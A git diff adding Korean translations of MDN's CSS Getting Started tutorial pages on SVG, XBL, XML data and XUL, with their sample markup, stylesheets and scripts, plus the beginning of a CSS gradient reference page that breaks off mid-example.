diff --git a/files/ko/web/css/getting_started/svg_graphics/index.html b/files/ko/web/css/getting_started/svg_graphics/index.html new file mode 100644 index 0000000000..d8ca001fb2 --- /dev/null +++ b/files/ko/web/css/getting_started/svg_graphics/index.html @@ -0,0 +1,195 @@ +--- +title: SVG graphics +slug: Web/CSS/Getting_Started/SVG_graphics +tags: + - 'CSS:Getting_Started' +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +

이 페이지는 그래픽을 만들기 위한 특별한 언어 SVG를 설명합니다.

+

SVG 기능이 있는 모질라 브라우저에서 작동하는 간단한 예제를 만듭니다.

+

정보: SVG

+

+ + SVG + (Scalable Vector Graphics, 스케일러블 벡터 그래픽)은 그래픽을 만들어내기 위한 XML-기반 언어입니다.

+

움직이지 않는 이미지(static image)를 위해 사용될 수 있으며, 또한 애니메이션 과 사용자 인터페이스를 위해서도 사용될 수 있습니다.

+

다른 XML-기반 언어들과 같이, SVG는 CSS 스타일 시트를 지원하여 그래픽에 사용되는 스타일을 그래픽의 내용물과 분리시킬 수 있게 합니다.

+

또한, 다른 문서 마크업 언어들과 함께 사용되는 스타일 시트들도 이미지가 요구되는 곳에 SVG 그래픽의 URL을 지정할 수 있습니다. 예를들면, HTML 문서와 함께 사용하는 스타일 시트에서 background 속성 값에 SVG값의 URL을 지정할 수 있습니다.

+ + + + + + + +
+ More details
이글을 쓰는 시점에서(2005년 중반), 모질라 브라우저의 몇몇 최근 빌드만이 SVG 지원을 내장하고 있었습니다. +

Adobe에서 제공되는 것 같은 플럭인(plugin)을 인스톨하면 다른 버전에서도 SVG 지원을 추가할 수 있습니다.

+

모질라에서의 SVG에 관한 더많은 정보를 원하시면, 이 위키안의 SVG 페이지를 보세요.

+
+

액션: SVG 예제

+

새로운 SVG 문서를 텍스트 파일 doc8.svg로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Move your mouse pointer over the flower.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+
+

새로운 CSS 문서를 텍스트 파일 style8.css로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+
+

문서를 SVG 기능이 있는(SVG-enabled) 브라우저에서 여세요. 마우스 포인터(mouse pointer)를 그래픽위로 움직여 보세요.

+

이 위키페이지는 SVG를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 다음과 같이 보입니다:

+ + + + + + +
SVG demonstration
+

이 예제에서 주의할 점:

+
    +
  • SVG 문서는 전처럼 스타일 시트에 링크되어 있습니다.
  • +
  • SVG는 그 자신만의 CSS 스타일 시트와 값을 가지고 있습니다. 이들중 몇가지는 HTML을 위한 CSS의 속성과 비슷합니다.
  • +
+ + + + + + + +
+ Challenge
스타일 시트를 변경해서, 마우스 포인터가 안쪽 꽃잎들 중 한개 위에 오게 되면, 바깥 쪽 꽃잎이 작동하는 방식은 바뀌지 않은채 모든 안쪽꽃잎 색이 핑크(pink)색으로 변하게 하세요
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 SVG 기능이 있는(SVG enabled) 브라우저는 이미 SVG 엘리먼트를 디스플레이하는 방법을 알고 있습니다. 스타일 시트는 단지 그 디스플레이를 특정 방식으로 수정할 뿐 입니다. 그러나 디스플레이하는 방식이 미리 지정되어 있지 않은 범용(general-purpose) XML 문서를 위해서 CSS를 사용할 수있습니다. 다음 페이지에서는 이를 실행해 봅니다: XML data

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pl": "pl/CSS/Na_pocz\u0105tek/Grafika_SVG" } ) }}

diff --git a/files/ko/web/css/getting_started/xbl_bindings/index.html b/files/ko/web/css/getting_started/xbl_bindings/index.html new file mode 100644 index 0000000000..6799095812 --- /dev/null +++ b/files/ko/web/css/getting_started/xbl_bindings/index.html @@ -0,0 +1,198 @@ +--- +title: XBL bindings +slug: Web/CSS/Getting_Started/XBL_bindings +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets +--- +

이 페이지는 모질라에서 CSS를 사용하여 복잡한 애플리케이션의 구조를 향상시켜 코드와 자원(resources)을 보다 쉽게 재사용(recycle)할 수 있게 만드는 방법을 설명합니다.

+

이 테크닉을 간단한 예제에 적용시켜 봅니다.

+

정보: XBL 바인딩(bindings)

+

마크업 언어와 CSS에서 제공되는 구조(structure)는 각 부분이 독립적이고(self-contained) 재 사용되어야 하는 복잡한 애플리케이션에 이상적이라고는 할 수 없습니다. 스타일 시트들을 다른 파일들에 저장할 수 있고, 스크립트들도 다른 파일들에 저장 해 놓을 수 있으나, 문서에서 이들 파일들을 하나의 전체로서 링크해야만 합니다.

+

또 다른 구조적 제한사항은 내용물에 관한 것입니다. CSS를 사용하여 선택된 엘리먼트들에 내용물을 제공해 줄 수 있으나, 내용물은 텍스트와 이미지에 한정되어 있으며, 그 위치지정은(positioning) 선택된 엘리먼트의 앞 또는 뒤로 한정되어 있습니다.

+

모질라는 이러한 제한 사항들을 극복할 미케니즘을 제공합니다: + + XBL + (XML 바인딩 언어, XML Binding Language)가 바로 그것입니다. XBL을 사용해서 선택된 엘리먼트를 다음의 것들과 링크시킬 수 있습니다:

+
    +
  • 에리먼트의 스타일 시트
  • +
  • 엘리먼트의 내용물
  • +
  • 엘리먼트의 속성(property)과 메소드(method)
  • +
  • 엘리먼트의 이벤트 핸들러(event hadler)
  • +
+

문서 레벨에서 모든것을 링크시키는 것을 피할 수 있기 때문에, 유지와 재사용이 쉬운 독립적인 부분들을 만들어 낼 수 있습니다.

+ + + + + + + +
+ More details
XBL 바인딩에 대한 더 많은 정보를 원하시면, 이 위키의 XBL 페이지를 보세요.
+

액션: XBL 예제

+

새로운 HTML 문서 doc6.html를 만드세요. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Mozilla CSS Getting Started - XBL demonstration</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style6.css"></strong>
+</HEAD>
+
+<BODY>
+<H1>XBL demonstration</H1>
+<DIV id="square">Click Me</DIV>
+</BODY>
+
+</HTML>
+
+
+

새로운 CSS 파일 style6.css을 만드세요. 이 스타일 시트는 문서 스타일을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
/*** XBL demonstration ***/
+#square {
+  -moz-binding: url("square.xbl#square");
+  }
+
+
+

새로운 텍스트 파일 square.xbl을 만드세요. 이 스타일 시트는 XBL 바인딩(binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+

 

+
+
<?xml version="1.0"?>
+<!DOCTYPE bindings>
+<bindings xmlns="http://www.mozilla.org/xbl">
+
+<binding id="square">
+
+  <resources>
+    <stylesheet src="bind6.css"/>
+    </resources>
+
+  <content xmlns="http://www.w3.org/1999/xhtml">
+    <div anonid="square"/>
+    <button anonid="button" type="button">
+      <xbl:children/>
+      </button>
+    </content>
+
+  <implementation>
+
+    <field name="square"><![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "square")
+      ]]></field>
+
+    <field name="button"><![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "button")
+      ]]></field>
+
+    <method name="doDemo">
+      <body><![CDATA[
+        this.square.style.backgroundColor = "#cf4"
+        this.square.style.marginLeft = "20em"
+        this.button.setAttribute("disabled", "true")
+        setTimeout(this.clearDemo, 2000, this)
+        ]]></body>
+      </method>
+
+    <method name="clearDemo">
+      <parameter name="me"/>
+      <body><![CDATA[
+        me.square.style.backgroundColor = "transparent"
+        me.square.style.marginLeft = "0"
+        me.button.removeAttribute("disabled")
+        ]]></body>
+      </method>
+
+    </implementation>
+
+  <handlers>
+    <handler event="click" button="0"><![CDATA[
+     if (event.originalTarget == this.button) this.doDemo()
+     ]]></handler>
+    </handlers>
+
+  </binding>
+
+</bindings>
+
+
+

새로운 CSS 파일 bind6.css을 만드세요. 이 새 스타일 시트는 바인딩에대한 스타일(style for the binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
/*** XBL demonstration ***/
+[anonid="square"] {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  }
+
+[anonid="button"] {
+  margin-top: 1em;
+  padding: .5em 2em;"
+  }
+
+
+

브라우저에서 문서을 열고 버튼을 누르세요.

+

이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:

+ + + + + + + +
+ + + + + + +
+

XBL demonstration

+
+
+  
+
+
+
+ + + + + + +
+

XBL demonstration

+
+
+  
+
+
+
+

이 예제에서 주의할 점:

+
    +
  • HTML 문서는 전처럼 문서의 스타일 시트에 링크되어 있습니다. 그러나 어떤 자바스크립트 코드에도 링크되어 있지 않습니다.
  • +
  • 문서는 아무 버튼도 포함하고 있지 않습니다. 문서는 버튼 레이블(label)의 텍스트만을 포함하고 있습니다. 버튼은 바인딩(binding)에 의해서 더해집니다.
  • +
  • 문서 스타일 시트는 바인딩(binding)에 링크되어 있습니다.
  • +
  • 바인딩(binding)은 그 자신의 스타일에 링크되어 있고, 그 자신의 내용물과 자바스크립트 코드를 지원합니다. 따라서, 바인딩은 독립적으로(self-contained) 되어있습니다.
  • +
+ + + + + + + +
+ Challenges
XBL 파일을 수정해서 사각형(square)이 색이 바뀔 때 오른쪽으로 점핑하는 대신 폭이(width) 2배가 되도록 하세요. +

DOM Inspector tool을 사용하여 문서를 조사해서 추가된 내용물을 확인해 보세요.

+
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 문서에서, 사각형(square)과 버튼은 독립적인 HTML 문서내에서 작동하는 + + 위젯(widget) + 이 되었습니다. 모질라는 사용자 인터페이스를 만들어내는 데 특별한 마크업 언어를 가지고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: XUL user interfaces

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pl": "pl/CSS/Na_pocz\u0105tek/Wi\u0105zania_XBL" } ) }}

diff --git a/files/ko/web/css/getting_started/xml_data/index.html b/files/ko/web/css/getting_started/xml_data/index.html new file mode 100644 index 0000000000..fc674a29e4 --- /dev/null +++ b/files/ko/web/css/getting_started/xml_data/index.html @@ -0,0 +1,186 @@ +--- +title: XML data +slug: Web/CSS/Getting_Started/XML_data +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/XML_data +--- +

이 페이지는 XML 데이터와 함께 CSS를 사용할 수 있는 방법에 대한 예제들을 담고 있습니다. +

샘플 XML 문서와 이 문서를 브라우저에 디스플레이할 때 사용할 수 있는 스타일 시트를 만듭니다. +

+

정보: XML 데이터

+

XML(확장 마크업 언어, eXtensible Markup Lanugage)는 모든 종류의 구조화 된 데이터를 위한 범용(general-purpose) 언어입니다. +

디폴트로, 모질라 브라우저는 XML을 XML파일의 원래 데이터와 매우 유사한 포맷으로 디스플레이합니다. +데이터의 구조를 정의하는 실제 택들을 볼 수 있습니다. +

CSS 스타일 시트를 XML 문서와 링크함으로써, 이를 디스플레이하는 다른 방식을 정의할 수 있습니다. +이를 위해, 스타일 시트는 XML 문서의 택들과 HTML에 의해 사용되는 디스플레이 유형들(types)에 매핑(map)시키는 규칙들을 사용합니다. +

+ + +
Example +
XML 문서의 데이터는 html:input 택들을 사용합니다. 문서의 INFO 엘리먼트들이 HTML 단락처럼 디스플레이 되기 원한다고 가정합시다. +

문서의 스타일 시트에 INFO엘리먼트가 어떻게 디스플레이 될 것인지 지정합니다: +

+
+
INFO {
+  display: block;
+  margin: 1em 0;
+  }
+
+
+
+

가장 흔한 display 속성 값은 다음과 같습니다: +

+ + + + +
blockHTML의 DIV처럼 나타남 (머리글, 문단 등) +
inlineHTML의 SPAN처럼 나타남 (문서의 강조) +
+

HTML에서와 같은 방식으로 폰트, 스페이싱(spacing) 그리고 다른 세부사항들을 지정하는 자기 자신의 스타일 규칙을 더하세요. +

+ + +
More details +
display의 다른 값들은 그 엘리먼트를 리스트 아이템 처럼 , 또는 표의 컴포넌트(component) 처럼 디스플레이 합니다. +

디스플레이 유형들(types)의 완전한 리스트를 원하시면, CSS 규약의 The display property을 보세요. +

CSS 만을 사용하면, 디스플레이의 구조가 문서의 구조와 똑 같을 것입니다. +다른 기술을 사용해서 디스플레이 구조를 수정할 수 있습니다 — 예를 들면, XBL로 내용물을 더할 수 있으며 자바스크립트로 DOM을 수정할 수 있습니다. +

모질라에서의 XML에 관해서 더 많은 정보를 원하시면, 이 위키의 XML 페이지를 보세요. +

+
+

액션: XML 예제

+

새로운 XML 문서를 텍스트 파일 doc9.xml로 만드세요. +아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요: +

+
<?xml version="1.0"?>
+<!-- XML demonstration -->
+
+<?xml-stylesheet type="text/css" href="style9.css"?>
+
+<!DOCTYPE planet>
+<planet>
+
+<ocean>
+<name>Arctic</name>
+<area>13,000</area>
+<depth>1,200</depth>
+</ocean>
+
+<ocean>
+<name>Atlantic</name>
+<area>87,000</area>
+<depth>3,900</depth>
+</ocean>
+
+<ocean>
+<name>Pacific</name>
+<area>180,000</area>
+<depth>4,000</depth>
+</ocean>
+
+<ocean>
+<name>Indian</name>
+<area>75,000</area>
+<depth>3,900</depth>
+</ocean>
+
+<ocean>
+<name>Southern</name>
+<area>20,000</area>
+<depth>4,500</depth>
+</ocean>
+
+</planet>
+
+

새로운 CSS 문서를 텍스트 파일 style9.css로 만드세요. +아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요: +

+
/*** XML demonstration ***/
+
+planet:before {
+  display: block;
+  width: 8em;
+  font-weight: bold;
+  font-size: 200%;
+  content: "Oceans";
+  margin: -.75em 0px .25em -.25em;
+  padding: .1em .25em;
+  background-color: #cdf;
+  }
+
+planet {
+  display: block;
+  margin: 2em 1em;
+  border: 4px solid #cdf;
+  padding: 0px 1em;
+  background-color: white;
+  }
+
+ocean {
+  display: block;
+  margin-bottom: 1em;
+  }
+
+name {
+  display: block;
+  font-weight: bold;
+  font-size: 150%;
+  }
+
+area {
+  display: block;
+  }
+
+area:before {
+  content: "Area: ";
+  }
+
+area:after {
+  content: " million km\B2";
+  }
+
+depth {
+  display: block;
+  }
+
+depth:before {
+  content: "Mean depth: ";
+  }
+
+depth:after {
+  content: " m";
+  }
+
+

브라우저에서 문서를 여세요: +

+ + +
+

Oceans

+

Arctic
+Area: 13,000 million km²
+Mean depth: 1,200 m

+

Atlantic
+Area: 87,000 million km²
+Mean depth: 3,900 m

+

. . .

+
+
+

이 예제에서 주의할 점: +

+
  • 수퍼스크립트(superscript) 2 ("million km²" 에 있는)는 CSS파일에 \B2로 코딩되어있는 유니코드(Unicode) 문자입니다. +
  • 헤딩(heading) "Oceans"는 음수인 상단 마진(negative top margin)을 갖고 있어 보더의 상단에 디스플레이 되도록 위쪽으로 이동 됩니다. +
+ + +
Challenge +
스타일 시트를 변경해서 문서를 표로 디스플레이하게 하세요. +

(수정할 예문들을 원하시면, CSS 규약의 Tables 챕터를 보세요.)

+
+

그럼 다음은

+

이 페이지를 이해하기 어렵거나 다른 코멘트가 있다면 Discussion에 기여하세요. +

이 페이지는 입문서의 마지막 페이지입니다. +모질라에서의 CSS에 관한 더 많은 정보를 원하시면, 이 위키의 CSS 메인 페이지(main page)를 보세요. +

{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pl": "pl/CSS/Na_pocz\u0105tek/Dane_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML" } ) }} diff --git a/files/ko/web/css/getting_started/xul_user_interfaces/index.html b/files/ko/web/css/getting_started/xul_user_interfaces/index.html new file mode 100644 index 0000000000..cd08f23579 --- /dev/null +++ b/files/ko/web/css/getting_started/xul_user_interfaces/index.html @@ -0,0 +1,315 @@ +--- +title: XUL user interfaces +slug: Web/CSS/Getting_Started/XUL_user_interfaces +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/XUL_user_interfaces +--- +

이 페이지는 사용자 인터페이스를 만드는 모질라의 특별한 언어를 설명합니다.

+

모질라 브라우저에서 작동하는 간단한 예제를 만들어봅니다.

+

정보: 사용자 인터페이스

+

HTML가 사용자 인터페이스에 대한 지원를 하고 있으나, 하나의 독립적인 애플리케이션을 만드는데 필요한 모든 기능을 지원하고 있지는 못합니다.

+

모질라는 사용자 인터페이스를 만드는 특별한 언어를 제공함으로써 이런 제한사항을 극복하고 있습니다: 이 언어가 바로 + + XUL + 입니다. (XML 사용자-인터페이스 언어(XML User-interface Language)로서 보통 " + + 줄(zool) + "라고 읽습니다.)

+

XUL에는 많은 흔히사용되는 사용자 인터페이스가 내장되어 있습니다. 예를 들면, XUL은 대화창(dialogue), 위저드(wizard) 같은 특별한 윈도우들 뿐만아니라 상태 바(status bar), 메뉴, 툴 바(tool bar), 그리고 브라우저까지 제공합니다.

+

더 많은 특화된 기능들은 이 입문서에서 보아 온 다른 기술들(CSS 스타일, 자바스크립트 코드 그리고 XBL 바인딩)과 함께 XUL을 사용함으로써 만들어 낼 수 있습니다.

+

다른 XML-기반 언어들과 같이, XUL은 CSS 스타일 시트를 사용합니다.

+ + + + + + + +
+ More details
XUL 사용자 인터페이스에 관한 더 많은 정보를 원하시면, 이 위키의 XUL 페이지를 보세요.
+

액션: XUL 예제

+

새로운 XUL 문서를 텍스트 파일 doc7.xul로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<?xml version="1.0"?>
+<?xml-stylesheet type="text/css" href="style7.css"?>
+<!DOCTYPE window>
+
+<window
+  xmlns="http&58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+  title="CSS Getting Started - XUL demonstration"
+  onload="init();">
+
+<script type="application/x-javascript" src="script7.js"/>
+
+<label class="head-1" value="XUL demonstration"/>
+
+<vbox>
+
+  <groupbox class="demo-group">
+    <caption label="Day of week calculator"/>
+    <grid>
+      <columns>
+        <column/>
+        <column/>
+        </columns>
+      <rows>
+        <row>
+          <label class="text-prompt" value="Date:"
+            accesskey="D" control="date-text"/>
+          <textbox id="date-text" type="timed"
+            timeout="750" oncommand="refresh();"/>
+          </row>
+        <row>
+          <label value="Day:"/>
+          <hbox id="day-box">
+            <label class="day" value="Sunday" disabled="true"/>
+            <label class="day" value="Monday" disabled="true"/>
+            <label class="day" value="Tuesday" disabled="true"/>
+            <label class="day" value="Wednesday" disabled="true"/>
+            <label class="day" value="Thursday" disabled="true"/>
+            <label class="day" value="Friday" disabled="true"/>
+            <label class="day" value="Saturday" disabled="true"/>
+            </hbox>
+          </row>
+        </rows>
+      </grid>
+    <hbox class="buttons">
+      <button id="clear" label="Clear" accesskey="C"
+        oncommand="clearDate();"/>
+      <button id="today" label="Today" accesskey="T"
+        oncommand="setToday();"/>
+      </hbox>
+    </groupbox>
+
+  <statusbar>
+    <statusbarpanel id="status"/>
+    </statusbar>
+
+</vbox>
+
+</window>
+
+
+

새로운 CSS 파일 style7.css을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
/*** XUL demonstration ***/
+window {
+  -moz-box-align: start;
+  background-color: -moz-dialog;
+  font: -moz-dialog;
+  padding: 2em;
+  }
+
+.head-1 {
+  font-weight: bold;
+  font-size: 200%;
+  padding-left: 5px;
+  }
+
+
+/* the group box */
+.demo-group {
+  padding: 1em;
+  }
+
+.demo-group grid {
+  margin-bottom: 1em;
+  }
+
+.demo-group column {
+  margin-right: .5em;
+  }
+
+.demo-group row {
+  margin-bottom: .5em;
+  }
+
+.demo-group .buttons {
+  -moz-box-pack: end;
+  }
+
+
+/* the day-of-week labels */
+.day {
+  margin-left: 1em;
+  }
+
+.day[disabled] {
+  color: #777;
+  }
+
+.day:first-child {
+  margin-left: 4px;
+  }
+
+
+/* the left column labels */
+.text-prompt {
+  padding-top: .25em;
+  }
+
+
+/* the date input box */
+#date-text {
+  max-width: 8em;
+  }
+
+
+/* the status bar */
+statusbar {
+  width: 100%;
+  border: 1px inset -moz-dialog;
+  margin: 4px;
+  padding: 0px 4px;
+  }
+
+#status {
+  padding: 4px;
+  }
+
+#status[warning] {
+  color: red;
+  }
+
+
+

새로운 텍스트 파일 script7.js을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
// XUL demonstration
+
+var dateBox, dayBox, currentDay, status; // elements
+
+// called by window onLoad
+function init() {
+  dateBox = document.getElementById("date-text")
+  dayBox = document.getElementById("day-box")
+  status = document.getElementById("status")
+  setToday();
+  }
+
+// called by Clear button
+function clearDate() {
+  dateBox.value = ""
+  refresh()
+  }
+
+// called by Today button
+function setToday() {
+  var d = new Date()
+  dateBox.value = (d.getMonth() + 1)
+    + "/" + d.getDate()
+    + "/" + d.getFullYear()
+  refresh()
+  }
+
+// called by Date textbox
+function refresh() {
+  var d = dateBox.value
+  var theDate = null
+
+  showStatus(null)
+  if (d != "") {
+    try {
+      var a = d.split("/")
+      var theDate = new Date(a[2], a[0] - 1, a[1])
+      showStatus(theDate)
+      }
+    catch (ex) {}
+    }
+  setDay(theDate)
+  }
+
+// internal
+function setDay(aDate) {
+  if (currentDay) currentDay.setAttribute("disabled", "true")
+  if (aDate == null) currentDay = null
+  else {
+    var d = aDate.getDay()
+    currentDay = dayBox.firstChild
+    while (d-- > 0) currentDay = currentDay.nextSibling
+    currentDay.removeAttribute("disabled")
+    }
+  dateBox.focus();
+  }
+
+function showStatus(aDate) {
+  if (aDate == null) {
+    status.removeAttribute("warning")
+    status.setAttribute("label", "")
+    }
+  else if (aDate === false || isNaN(aDate.getTime())) {
+    status.setAttribute("warning", "true")
+    status.setAttribute("label", "Date is not valid")
+    }
+  else {
+    status.removeAttribute("warning")
+    status.setAttribute("label", aDate.toLocaleDateString())
+    }
+  }
+
+
+

정확히 의도하신대로 결과를 보고 싶으시면, 브라우저의 디폴트 씸(default theme)을 사용하세요. 다른 씸(theme)을 사용하고 계시면, 씸이 몇가지 사용자 인터페이스 스타일을 변경해서 예제가 좀 이상하게 보일 수 도 있습니다.

+

브라우저에서 문서를 열고 인터페이스를 사용하세요.

+

이 위키페이지는 XUL과 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다.

+

다음과 같이 보입니다:

+ + + + + + +
+

XUL demonstration

+
+

Day of week calculator

+ + + + + + + + + + + + + + + +
Date:6/27/2005
Day:Sunday Monday Tuesday Wednesday Thurdsay Friday Saturday
  +
+

Clear Today

+
+
+
+
+

June 27, 2005

+
+
+

이 예제에서 주의할 점:

+
    +
  • XUL문서는 이전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.
  • +
  • 스크립트는 이 예제에서 중요하지 않습니다.
  • +
  • 보게되는 대부분의 스타일은 브라우저의 씸(theme)에의해서 정해집니다.
  • +
+

문서의 스타일 시트를 잘 검토해서 그안의 모든 규칙들을 확실히 이해하도록 하세요. 이해하지 못하는 규칙이 있으면, 코멘트 아웃(comment out)한 다음 브라우저를 리프레쉬해서 문서에 나타나는 효과를 보도록 하세요.

+ + + + + + + +
+ Challenge
DOM 조사 도구(DOM Inspector tool)을 사용해서 Date textbox를 검사하세요. Date textbox는 XBL 바인딩으로 만들어진 다른 엘리먼트들로 이루어져 있습니다. +

html:input 엘리먼트의 + + 클래스 + 를 찾아내세요. 이 엘리먼트가 실질적으로 샤용자 입력을 받고 있습니다.

+

이 지식을 이용해서, 스타일 시트에 규칙을 하나 더해서 Date box가 키보드 포거스를 가지게 될때 배경색이 희미한 푸른색으로 되게 하세요.(그러나 키보드 포커스가 다른 데 있을 경우 힌색이 되게 하세요.)

+
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 대부분의 사용자 인터페이스에 공통적으로 사용되는 표준적인 사각형 도형들을 보았습니다. 모질라는 스타일을 지정하는 CSS스타일 시트를 이용하여 도형을 만들어내는 쓰는 특별한 그래픽 언어도 지원하고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: SVG graphics

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pl": "pl/CSS/Na_pocz\u0105tek/XUL-owe_interfejsy_u\u017cytkownika" } ) }}

diff --git a/files/ko/web/css/gradient/index.html b/files/ko/web/css/gradient/index.html new file mode 100644 index 0000000000..aebfab76bf --- /dev/null +++ b/files/ko/web/css/gradient/index.html @@ -0,0 +1,160 @@ +--- +title: +slug: Web/CSS/gradient +tags: + - CSS + - CSS Data Type + - CSS Images + - Graphics + - Layout + - Reference + - 그라데이션 + - 그레이디언트 +translation_of: Web/CSS/gradient +--- +
{{CSSRef}}
+ +

<gradient> CSS 자료형은 {{cssxref("<image>")}}의 특별한 종류로 여러 색의 점진적인 변화를 나타냅니다.

+ +
{{EmbedInteractiveExample("pages/css/type-gradient.html")}}
+ + + +

CSS 그레이디언트는 원본 크기가 없습니다. 즉 실제 크기나 선호 크기가 없습니다. 그레이디언트의 크기는 적용하는 요소의 크기와 동일해집니다.

+ +

구문

+ +

그레이디언트 함수

+ +

<gradient> 자료형은 아래 나열한 함수 중 하나를 사용해 생성합니다.

+ +

선형 그레이디언트

+ +

가상의 선을 따라 여러 색 사이를 전이합니다. {{cssxref("linear-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.linear-gradient {
+  background: linear-gradient(to right,
+      red, orange, yellow, green, blue, indigo, violet);
+}
+ +

{{EmbedLiveSample('선형_그레이디언트', 240, 80)}}

+ +

원형 그레이디언트

+ +

중심점으로부터 바깥으로 여러 색 사이를 전이합니다. {{cssxref("radial-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.radial-gradient {
+  background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+
+ +

{{EmbedLiveSample('원형_그레이디언트', 240, 80)}}

+ +

반복 그레이디언트

+ +

요소를 꽉 채울 때까지 그레이디언트를 필요한 만큼 반복합니다. {{cssxref("repeating-linear-gradient()")}}나 {{cssxref("repeating-radial-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.linear-repeat {
